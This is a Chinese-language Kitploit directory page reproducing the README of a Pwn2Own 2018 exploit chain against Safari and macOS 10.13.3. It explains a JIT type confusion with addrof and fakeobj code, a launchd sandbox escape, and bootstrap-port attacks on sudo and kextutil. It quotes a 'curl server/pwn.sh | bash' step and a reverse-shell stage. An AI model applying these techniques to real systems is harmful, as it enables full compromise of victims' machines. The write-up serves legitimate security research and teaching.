Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
pwn2own2018 — A Pwn2Own 漏洞利用链 | Kitploit
工具/GitHubGitHub/saelo/pwn2own2018
权限提升漏洞分析漏洞利用逆向工程Web应用程序漏洞利用学习与教育Payload 开发二进制利用
GitHubsaelo/pwn2own2018

pwn2own2018

A Pwn2Own 漏洞利用链

查看仓库
759112507年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Pwn2Own 2018: Safari + macOS

针对 macOS 10.13.3 的 Safari RCE、沙箱逃逸和内核 LPE。

用法

安装 nasm 和 tornado:

root@kitploit:~
brew install nasm
pip3 install tornado

如果你想更改主机或端口,请检查 config.py。然后使用 ./server.py 启动服务器,并导航到显示的 URL。

概述

这个漏洞利用链使用三个不同的漏洞,从 Safari 内运行的 JavaScript 代码逐步实现内核模式代码执行:

  1. DFG JIT 编译器中的一个错误优化,可用于导致类型混淆
  2. launchd 中缺少沙箱检查,允许沙箱进程生成任意(非沙箱)进程
  3. XNU 中的一个逻辑错误,允许进程覆盖其子进程的 bootstrap 端口,从而导致 IPC 中间人(MitM)情况

该漏洞利用链分六个阶段实现,每个阶段位于各自的子目录中:

  • stage0/:WebKit 漏洞利用
  • stage1/:用汇编编写的第一阶段载荷
  • stage2/:执行沙箱逃逸的第二阶段载荷
  • stage3/:用于协调其余阶段的 shell 脚本
  • stage4/:获取 root 的 LPE
  • stage5/:获取内核代码执行的 LPE
  • libspc/:XPC 协议的重实现,用于第 2、4 和 5 阶段

每个子目录(libspc/ 除外)都包含一个名为 make.py 的文件,执行该文件会执行任何必要的构建命令,并生成一个由 Web 服务器提供的文件列表。

阶段 0

目标:在沙箱化的 WebContent 进程中实现 shellcode 执行
利用的漏洞:DFG JIT 编译器中的错误优化
另见 此 BlackHat 演讲

DFG JIT 编译器使用其自身的中间表示(IR),即数据流图(DFG),来表示 JavaScript 代码。通常,一个 JavaScript 表达式会被转换为该图中的一个或多个 IR 指令。对于构造函数,会发出 CreateThis 指令,该指令负责分配由构造函数创建的 this 对象。例如,函数 function Consructor() {} 在通过 new 调用时,大致会被转换为

root@kitploit:~
v0 = CreateThis
return v0

通过查看 AbstractInterpreter,我们可以看到 DFG JIT 编译器假设 CreateThis 操作除了堆分配之外不会产生任何副作用。实际上,以下代码:

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

大致会被转换为以下 DFG 指令: (这里,StructureCheck 已被 TypeCheckHoistingPhase 移动到函数的开头。)

root@kitploit:~
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;

然而,这个假设是无效的,因为 CreateThis 的慢路径代码在某些情况下可以执行任意 JavaScript 代码。特别是,通过在真实函数周围使用 Proxy,CreateThis 的慢路径处理程序在需要获取所构造对象的原型对象时,会调用 “prototype” 属性的 get 陷阱:

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

var handler = {
    get(target, propname) {
        /* run JS here, modify the structure of the argument object, etc. */
        return target[propname];
    },
};
var ConstructorProxy = new Proxy(Constructor, handler);

// Force JIT compilation of ConstructorProxy

因此,现在可以在 JIT 编译器不执行退出的情况下修改对象的 Structure。

这个漏洞可用于构建 addrof 和 fakeobj 原语,如下所示:

addrof

我们针对具有未装箱 double 元素的 JSArray 编译代码,然后在回调中转换为 JSValue 元素。之后,JIT 代码将从数组中加载一个 JSValue,但将这些位视为 double 并返回给我们。以下代码会将 leakme 的地址赋值给所构造对象的 “address” 属性。

root@kitploit:~
function InfoLeaker(a) {
    this.address = a[0];
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = leakme;
        return target[propname];
    },
};
// ...

fakeobj

这里我们基本上反其道而行之:我们优化代码,将 double 存储到具有未装箱 double 元素的数组中,然后在回调中再次转换为 JSValue 元素。代码将继续以未装箱形式将我们控制的 double 写入后备存储。当之后访问该数组元素时,它会将这些位视为 JSValue 而不是 double。以下代码会将未装箱的 double address 写入 a 的后备缓冲区,然后我们可以将其作为 JSValue 读出,从而允许我们向引擎“注入”我们选择的 JSValue。

root@kitploit:~
function ObjFaker(a, address) {
    a[0] = address;
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = {};
        return target[propname];
    },
};
// ...

因此,我们最终能够写入一个 double 并将其视为 JSObject 指针,反之亦然。如 攻击 JavaScript 引擎 中所述,这可以被利用。

该漏洞利用首先通过伪造 Float64Array 实现任意进程内存读写,然后搜索 JIT 区域(映射为 RWX)并将 stage1 shellcode 写入该区域。

阶段 1

目标:通过将 .dylib 写入磁盘并使用 dlopen() 加载它,来引导阶段 2

一个简短的汇编载荷,基本上执行以下操作:

  1. 调用 confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) 获取可写目录的路径
  2. 在可写目录中创建一个名为 'x.dylib' 的新文件
  3. 将 stage2 dylib 写入新创建的文件
  4. 通过 dlopen() 将 dylib 加载到 WebContent 进程中

阶段 2

目标:突破沙箱
利用的漏洞:launchd 的 “legacy_spawn” API 中缺少沙箱检查
另见 此演讲

launchd 将 “legacy_spawn” RPC 端点作为子系统 3 中的例程 817 暴露。该 API 未能验证调用者是否被允许生成进程,并且只会使用受控参数为调用者 execve 系统上的任何二进制文件。由于 launchd 可通过 bootstrap 端口访问,因此这使得逃逸沙箱成为可能。

该漏洞利用实质上是运行 curl server/pwn.sh | bash,从而将控制权传递给 stage3。

阶段 3

目标:弹出计算器并引导其余阶段

这执行 open /Applications/Calculator.app 并建立反向 shell,然后获取其余阶段所需的所有文件并运行漏洞利用程序。

阶段 4

目标:通过 LPE 漏洞利用获取 root
利用的漏洞:XNU bootstrap 端口中间人(MitM)
另见 此 POC 演讲

在 XNU 中,task_set_special_port API 允许调用者覆盖其 bootstrap 端口,该端口用于与 launchd 通信。该端口在 fork 之间继承:子进程将使用与父进程相同的 bootstrap 端口。现在,如果子进程比父进程拥有更高权限,就会出现安全问题,例如 sudo(setuid 二进制文件)或 kextutil(拥有 “com.apple.rootless.kext-management” 授权)就是这种情况。通过覆盖 bootstrap 端口并 fork 一个子进程,我们现在可以获得子进程与 launchd 之间的 MitM 位置(子进程在向 bootstrap 端口发送消息时,期望能够到达 launchd)。子进程将要求 launchd 解析各种 mach 和 XPC 服务。通过将这些服务解析为由我们控制的其他端口,我们还可以获得与子进程使用的任意系统服务之间的 MitM 位置。具体如何利用则取决于被攻击程序如何使用这些服务。

为了获取 root,我们将目标锁定为 sudo 二进制文件,并拦截它与 opendirectoryd 的通信,sudo 使用 opendirectoryd 来验证凭据。我们修改 opendirectoryd 的回复,使我们的密码看起来是有效的。

似乎有人尝试修复这个问题,因为 libxpc(负责与 launchd 通信)会验证响应确实来自 uid=0 且 pid=1(== launchd)的进程。然而,这些检查是不够的。我们可以按如下方式绕过它们,将 opendirectoryd 解析到我们自己的端口:

  1. 使用 bootstrap_register2 API 向 launchd 注册我们自己的 mach 服务(例如 net.saelo.hax)
  2. 拦截对 launchd 的服务查找请求,并将字符串 com.apple.system.opendirectoryd.api 替换为 net.saelo.hax
  3. 将请求转发给 launchd,但保留原始回复端口,因此 launchd 直接应答子进程,并且子进程中 libxpc 的检查得以通过

现在(对于提升到 root 权限而言)剩下的工作就是转发 opendirectoryd 和 sudo 之间的消息,但将身份验证错误回复替换为成功回复。

阶段 5

目标:加载(自签名)内核扩展
利用的漏洞:XNU bootstrap 端口 MitM

这利用的是与 stage4 相同的漏洞,但这次目标是 kextutil。我们拦截与 com.apple.trustd 的连接并伪造证书链,使 kextutil 认为我们的自签名 kext 实际上是由 Apple 直接签名的。

当被要求从磁盘加载 .kext 时,kextutil 大致按以下步骤进行:

  1. 通过对照提供的证书检查所有签名来验证 .kext 的完整性
  2. 与 trustd 通信以获取证书链,并确定根证书是否受信任
  3. 验证证书链的根是否为 Apple 证书
  4. 通过与 syspolicyd 通信,检查 .kext 是否获得用户批准。但是,如果无法访问 syspolicyd,kextutil 会直接继续

这使得以下攻击能够加载自签名内核扩展:

  1. 创建一个 .kext 并使用自签名证书对其进行签名
  2. 运行 kextutil 并将 com.apple.trustd 解析到我们自己的服务
  3. 拦截发送给 trustd 的消息,并回复一个官方 Apple .kext 的硬编码证书链
  4. 阻止与 syspolicyd 的通信(例如,在向 launchd 的服务查找请求中将 com.apple.security.syspolicy.kext 替换为 net.saelo.lolno)

kextutil 现在会将我们的内核扩展加载到内核中。

下载工具